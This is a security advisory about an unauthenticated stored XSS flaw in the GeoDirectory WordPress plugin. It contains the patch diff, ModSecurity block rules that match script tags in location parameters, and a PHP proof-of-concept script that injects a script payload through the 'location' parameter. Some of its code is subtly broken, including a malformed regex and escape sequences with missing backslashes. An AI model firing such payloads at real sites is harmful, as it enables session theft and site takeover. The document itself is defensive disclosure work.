Atomic Edge analysis of CVE-2026-124250: This is an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the GeoDirectory WordPress plugin, affecting versions up to and including 2.8.202. The flaw resides in the SEO and location handling functions where user-supplied input is not properly sanitized before being stored and later rendered. With a CVSS score of 7.2, this poses a high risk, allowing attackers to inject malicious scripts that execute in the context of site visitors or administrators.
The root cause is insufficient input sanitization and output escaping in multiple code paths. In `includes/class-geodir-seo.php`, the functions that generate page titles fail to sanitize user input when building the title string. The diff shows that before the patch, `wp_kses_post` and `wp_strip_all_tags` were missing in two key locations: around line 338 (where a title is normalized) and line 371 (where a title is escaped). Separately, `includes/location-functions.php` contains the function `geodir_replace_location_variables`, which processes location names from request query vars without stripping HTML tags. An attacker can supply a malicious payload via GET parameters such as `location` or similar, which then gets stored in the database (e.g., via a listing or search) and later rendered unsanitized on pages.
Exploitation is straightforward: an unauthenticated attacker sends a crafted request to a vulnerable endpoint, such as a search or listing submission form, with a parameter like `location` containing a script tag payload (e.g., `alert(document.cookie)`). The input is processed by `geodir_replace_location_variables` (which lacks sanitization in the vulnerable version) and may be saved in the database via other plugin functionality. When a victim visits the affected page, the stored script executes, potentially stealing cookies, session tokens, or performing actions on behalf of the user. No authentication is required, making it a severe threat.
The patch addresses the issue by adding proper sanitization and escaping. In `class-geodir-seo.php`, after normalizing whitespace, the code now applies `wp_kses_post` to filter unsafe HTML (in the first affected function) and `esc_html( wp_strip_all_tags( $title ) )` to escape output (in the second). In `location-functions.php`, a new function `geodir_sanitize_location_name` is introduced, which decodes HTML entities, strips all tags, and escapes the result. This function is then called at two points: when processing the `$location` variable (around line 496) and when trimming `$location_name` (around line 530). These changes ensure that any user-supplied location data is sanitized before being used in titles or stored, preventing script injection.
If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the browser of any user visiting the affected page, including administrators. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. In severe cases, it could be used to perform privileged actions (e.g., creating admin users) if an administrator is tricked into visiting a crafted page. The impact is amplified by the unauthenticated nature of the attack, requiring no prior access to the site.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/geodirectory/geodirectory.php
+++ b/geodirectory/geodirectory.php
@@ -11,7 +11,7 @@
* Plugin Name: GeoDirectory
* Plugin URI: https://wpgeodirectory.com/
* Description: GeoDirectory - Business Directory Plugin for WordPress.
- * Version: 2.8.202
+ * Version: 2.8.203
* Author: AyeCode - WP Business Directory Plugins
* Author URI: https://wpgeodirectory.com
* Text Domain: geodirectory
@@ -34,7 +34,7 @@
*
* @var string
*/
- public $version = '2.8.202';
+ public $version = '2.8.203';
/**
* GeoDirectory instance.
--- a/geodirectory/includes/class-geodir-seo.php
+++ b/geodirectory/includes/class-geodir-seo.php
@@ -338,6 +338,9 @@
// Strip duplicate whitespace.
if ( $title != '' && $normalize ) {
$title = normalize_whitespace( $title );
+
+ // Filter unsafe HTML.
+ $title = wp_kses_post( $title );
}
return $title;
@@ -371,6 +374,9 @@
// Strip duplicate whitespace.
if ( $title != '' ) {
$title = normalize_whitespace( $title );
+
+ // Escape unsafe HTML.
+ $title = esc_html( wp_strip_all_tags( $title ) );
}
return $title;
--- a/geodirectory/includes/location-functions.php
+++ b/geodirectory/includes/location-functions.php
@@ -394,6 +394,31 @@
add_filter('geodir_replace_location_variables', 'geodir_replace_location_variables');
/**
+ * Sanitize a location name used in SEO/title replacement variables.
+ *
+ * @since 2.8.203
+ *
+ * @param string $name Location name.
+ * @return string Sanitized location name.
+ */
+function geodir_sanitize_location_name( $name ) {
+ if ( ! is_scalar( $name ) ) {
+ return '';
+ }
+
+ $name = (string) $name;
+
+ if ( $name === '' ) {
+ return $name;
+ }
+
+ // Decode entities first so encoded tags can't slip through, then strip all tags.
+ $name = wp_strip_all_tags( html_entity_decode( $name, ENT_QUOTES, get_bloginfo( 'charset' ) ) );
+
+ return trim( esc_html( $name ) );
+}
+
+/**
* Function for replace location values.
*
* @since 2.0.0
@@ -468,6 +493,9 @@
$location = preg_replace( '/[_-]/', ' ', $location );
$location = __( geodir_ucwords( $location ), 'geodirectory' );
}
+
+ // Location value can come from request query vars, strip any HTML.
+ $location = geodir_sanitize_location_name( $location );
}
if ( $check_address && ! empty( $location ) ) {
@@ -499,7 +527,7 @@
}
}
- $location_name = $location_name ? trim( $location_name ) : '';
+ $location_name = $location_name ? trim( geodir_sanitize_location_name( $location_name ) ) : '';
// Private address
if ( $check_address && ! empty( $location_name ) ) {
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-124250
# Blocks unauthenticated stored XSS via the 'location' parameter in GeoDirectory plugin
# The vulnerable parameter is 'location' (or 'geodir_location') in GET/POST requests.
# We match requests containing a script tag in these parameters, scoped to the plugin's pages.
SecRule REQUEST_URI "@rx /(?:?|&)(?:location|geodir_location)=[^&]*<script"
"id:2026124250,phase:2,deny,status:403,msg:'CVE-2026-124250 - GeoDirectory Stored XSS via location parameter',severity:'CRITICAL',tag:'CVE-2026-124250',logdata:'%{MATCHED_VAR}'"
# For POST requests, inspect ARGS_POST for the location parameter containing script tags.
SecRule ARGS_POST:location "@rx <script"
"id:2026124251,phase:2,deny,status:403,msg:'CVE-2026-124250 - GeoDirectory Stored XSS via POST location parameter',severity:'CRITICAL',tag:'CVE-2026-124250',logdata:'%{MATCHED_VAR}'"
# Also catch 'geodir_location' parameter in POST.
SecRule ARGS_POST:geodir_location "@rx <script"
"id:2026124252,phase:2,deny,status:403,msg:'CVE-2026-124250 - GeoDirectory Stored XSS via POST geodir_location parameter',severity:'CRITICAL',tag:'CVE-2026-124250',logdata:'%{MATCHED_VAR}'"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-124250 - GeoDirectory <= 2.8.202 - Unauthenticated Stored Cross-Site Scripting
$target_url = 'http://example.com'; // Change to target WordPress site
// The payload will be injected via the 'location' parameter in a search request.
// The vulnerable plugin processes this parameter through geodir_replace_location_variables.
$payload = '<script>alert("XSS triggered by Atomic Edge")</script>';
// We attempt to trigger the vulnerability by sending a GET request to a page that uses the location variable.
// The plugin might store the location in a cookie or session, or reflect it in search results.
// For a stored XSS, the payload might need to be submitted via a form (e.g., listing submission).
// This PoC simulates a search request with a malicious location.
$url = $target_url . '/?s=' . urlencode('test') . '&location=' . urlencode($payload);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge PoC');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Sent payload to: $urln";
echo "HTTP status: $http_coden";
// Check if the payload appears unescaped in the response (indicating potential XSS)
if (strpos($response, $payload) !== false) {
echo "Vulnerable: Payload reflected unescaped in response.n";
} else {
echo "Payload not reflected or sanitized in this response. The vulnerability may be stored and require a different trigger.n";
}
// For a stored XSS, an attacker might submit a listing with the payload in the location field.
// That would require a more complex flow (e.g., using the plugin's submission forms).
// This PoC demonstrates the injection vector.n?>